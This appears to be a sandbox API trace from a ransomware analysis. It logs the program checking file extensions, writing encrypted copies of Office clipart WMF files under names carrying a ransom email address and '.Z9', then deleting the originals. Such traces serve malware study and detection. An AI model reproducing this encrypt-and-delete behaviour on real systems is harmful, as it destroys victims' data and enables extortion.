	[0089.967] lstrlenW (lpString=".jpg") returned 4
	[0089.967] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.967] lstrlenW (lpString=".doc") returned 4
	[0089.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.967] lstrlenW (lpString=".docx") returned 5
	[0089.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.968] lstrlenW (lpString=".pdf") returned 4
	[0089.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.968] lstrlenW (lpString=".xls") returned 4
	[0089.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.968] lstrlenW (lpString=".xlsx") returned 5
	[0089.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.968] lstrlenW (lpString=".ppt") returned 4
	[0089.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.968] lstrlenW (lpString=".zip") returned 4
	[0089.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.968] lstrlenW (lpString=".rar") returned 4
	[0089.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.968] lstrlenW (lpString=".bz2") returned 4
	[0089.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.968] lstrlenW (lpString=".7z") returned 3
	[0089.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.968] lstrlenW (lpString=".dbf") returned 4
	[0089.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.968] lstrlenW (lpString=".1cd") returned 4
	[0089.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68
	[0089.968] lstrlenW (lpString=".jpg") returned 4
	[0089.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.968] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.968] lstrlenW (lpString="DD01145_.WMF") returned 12
	[0089.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.971] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2780) returned 1
	[0089.971] CloseHandle (hObject=0x38c) returned 1
	[0089.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 0x220
	[0089.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.971] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.971] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0089.972] GetLastError () returned 0x0
	[0089.972] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xadc, lpOverlapped=0x0) returned 1
	[0090.312] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xae0, lpOverlapped=0x0) returned 1
	[0090.488] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.488] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.488] SetEndOfFile (hFile=0x398) returned 1
	[0090.800] CloseHandle (hObject=0x398) returned 1
	[0090.800] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.800] SetEndOfFile (hFile=0x38c) returned 1
	[0090.801] CloseHandle (hObject=0x38c) returned 1
	[0090.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01145_.wmf")) returned 1
	[0090.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.802] lstrlenW (lpString=".doc") returned 4
	[0090.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.802] lstrlenW (lpString=".docx") returned 5
	[0090.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.802] lstrlenW (lpString=".pdf") returned 4
	[0090.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.802] lstrlenW (lpString=".xls") returned 4
	[0090.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.802] lstrlenW (lpString=".xlsx") returned 5
	[0090.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.802] lstrlenW (lpString=".ppt") returned 4
	[0090.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.803] lstrlenW (lpString=".zip") returned 4
	[0090.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.803] lstrlenW (lpString=".rar") returned 4
	[0090.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString=".bz2") returned 4
	[0090.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString=".7z") returned 3
	[0090.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.803] lstrlenW (lpString=".dbf") returned 4
	[0090.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.803] lstrlenW (lpString=".1cd") returned 4
	[0090.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.803] lstrlenW (lpString=".jpg") returned 4
	[0090.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.803] lstrlenW (lpString=".doc") returned 4
	[0090.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString=".docx") returned 5
	[0090.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.803] lstrlenW (lpString=".pdf") returned 4
	[0090.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.803] lstrlenW (lpString=".xls") returned 4
	[0090.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.804] lstrlenW (lpString=".xlsx") returned 5
	[0090.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.804] lstrlenW (lpString=".ppt") returned 4
	[0090.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.804] lstrlenW (lpString=".zip") returned 4
	[0090.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.804] lstrlenW (lpString=".rar") returned 4
	[0090.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.804] lstrlenW (lpString=".bz2") returned 4
	[0090.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.804] lstrlenW (lpString=".7z") returned 3
	[0090.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.804] lstrlenW (lpString=".dbf") returned 4
	[0090.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.804] lstrlenW (lpString=".1cd") returned 4
	[0090.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68
	[0090.804] lstrlenW (lpString=".jpg") returned 4
	[0090.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.804] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.805] lstrlenW (lpString="DD01169_.WMF") returned 12
	[0090.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0090.806] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2020) returned 1
	[0090.806] CloseHandle (hObject=0x38c) returned 1
	[0090.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 0x220
	[0090.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0090.806] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.806] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0090.807] GetLastError () returned 0x0
	[0090.807] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x7e4, lpOverlapped=0x0) returned 1
	[0090.809] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0090.814] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.814] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.814] SetEndOfFile (hFile=0x398) returned 1
	[0090.814] CloseHandle (hObject=0x398) returned 1
	[0090.814] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.814] SetEndOfFile (hFile=0x38c) returned 1
	[0090.816] CloseHandle (hObject=0x38c) returned 1
	[0090.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.817] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1
	[0090.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.817] lstrlenW (lpString=".doc") returned 4
	[0090.817] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.817] lstrlenW (lpString=".docx") returned 5
	[0090.817] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.817] lstrlenW (lpString=".pdf") returned 4
	[0090.817] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.817] lstrlenW (lpString=".xls") returned 4
	[0090.817] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.817] lstrlenW (lpString=".xlsx") returned 5
	[0090.817] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.817] lstrlenW (lpString=".ppt") returned 4
	[0090.817] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.817] lstrlenW (lpString=".zip") returned 4
	[0090.817] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.817] lstrlenW (lpString=".rar") returned 4
	[0090.817] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.817] lstrlenW (lpString=".bz2") returned 4
	[0090.817] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.817] lstrlenW (lpString=".7z") returned 3
	[0090.817] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.817] lstrlenW (lpString=".dbf") returned 4
	[0090.817] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.818] lstrlenW (lpString=".1cd") returned 4
	[0090.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.818] lstrlenW (lpString=".jpg") returned 4
	[0090.818] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.818] lstrlenW (lpString=".doc") returned 4
	[0090.818] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString=".docx") returned 5
	[0090.818] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.818] lstrlenW (lpString=".pdf") returned 4
	[0090.818] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString=".xls") returned 4
	[0090.818] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.818] lstrlenW (lpString=".xlsx") returned 5
	[0090.818] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.818] lstrlenW (lpString=".ppt") returned 4
	[0090.818] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.818] lstrlenW (lpString=".zip") returned 4
	[0090.818] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.818] lstrlenW (lpString=".rar") returned 4
	[0090.818] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString=".bz2") returned 4
	[0090.818] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString=".7z") returned 3
	[0090.818] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.818] lstrlenW (lpString=".dbf") returned 4
	[0090.818] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.818] lstrlenW (lpString=".1cd") returned 4
	[0090.818] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.818] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68
	[0090.818] lstrlenW (lpString=".jpg") returned 4
	[0090.819] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.819] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.819] lstrlenW (lpString="DD01170_.WMF") returned 12
	[0090.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0090.819] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2404) returned 1
	[0090.819] CloseHandle (hObject=0x38c) returned 1
	[0090.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220
	[0090.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0090.820] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.820] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0090.820] GetLastError () returned 0x0
	[0090.820] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x964, lpOverlapped=0x0) returned 1
	[0090.822] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x970, lpOverlapped=0x0) returned 1
	[0090.823] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.823] WriteFile (in: hFile=0x398, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.823] SetEndOfFile (hFile=0x398) returned 1
	[0090.823] CloseHandle (hObject=0x398) returned 1
	[0090.823] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.823] SetEndOfFile (hFile=0x38c) returned 1
	[0090.824] CloseHandle (hObject=0x38c) returned 1
	[0090.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.824] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1
	[0090.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.824] lstrlenW (lpString=".doc") returned 4
	[0090.824] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.824] lstrlenW (lpString=".docx") returned 5
	[0090.824] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.824] lstrlenW (lpString=".pdf") returned 4
	[0090.824] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.824] lstrlenW (lpString=".xls") returned 4
	[0090.824] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.824] lstrlenW (lpString=".xlsx") returned 5
	[0090.824] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.824] lstrlenW (lpString=".ppt") returned 4
	[0090.825] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.825] lstrlenW (lpString=".zip") returned 4
	[0090.825] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.825] lstrlenW (lpString=".rar") returned 4
	[0090.825] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.825] lstrlenW (lpString=".bz2") returned 4
	[0090.825] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.825] lstrlenW (lpString=".7z") returned 3
	[0090.825] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.825] lstrlenW (lpString=".dbf") returned 4
	[0090.825] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0090.825] lstrlenW (lpString=".1cd") returned 4
	[0090.825] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
